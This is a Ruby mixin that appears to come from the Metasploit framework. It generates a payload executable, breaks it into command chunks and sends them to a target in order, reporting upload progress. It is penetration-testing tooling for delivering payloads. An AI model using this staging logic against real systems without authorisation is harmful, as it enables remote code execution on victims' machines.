# -*- coding: binary -*-
##
# $Id$
##

require 'rex/exploitation/cmdstager'
require 'msf/core/exploit/exe'

module Msf

###
#
# This mixin provides an interface to generating cmdstagers
#
###
module Exploit::CmdStager

	include Msf::Exploit::EXE

	#
	# Creates an instance of an exploit that uses an CmdStager overwrite.
	#
	def initialize(info = {})
		super
		@cmd_list = nil
		@stager_instance = nil
	end


	#
	# Execute the command stager while showing the progress
	#
	def execute_cmdstager(opts = {})
		cmd_list = generate_cmdstager(opts)

		execute_cmdstager_begin(opts)

		sent = 0
		total_bytes = 0
		cmd_list.each { |cmd| total_bytes += cmd.length }

		delay = opts[:delay]
		delay ||= 0.25

		cmd_list.each do |cmd|
			execute_command(cmd, opts)
			sent += cmd.length

			# In cases where a server has multiple threads, we want to be sure that
			# commands we execute happen in the correct (serial) order.
			::IO.select(nil, nil, nil, delay)

			progress(total_bytes, sent)
		end

		execute_cmdstager_end(opts)
	end


	#
	# Generates a cmd stub based on the current target's architecture
	# and operating system.
	#
	def generate_cmdstager(opts = {}, pl = nil)
		pl ||= payload.encoded

		@exe = generate_payload_exe

		@stager_instance = create_stager(@exe)
		cmd_list = @stager_instance.generate(opts)

		if (cmd_list.nil? or cmd_list.length < 1)
			print_error("The command stager could not be generated")
			raise ArgumentError
		end

		@cmd_list = cmd_list
	end


	#
	# Show the progress of the upload
	#
	def progress(total, sent)
		done = (sent.to_f / total.to_f) * 100
		percent = "%3.2f%%" % done.to_f
		print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total])
	end

	#
	# Methods to override - not used internally
	#
	def execute_cmdstager_begin(opts)
	end
	def execute_cmdstager_end(opts)
	end

end

end
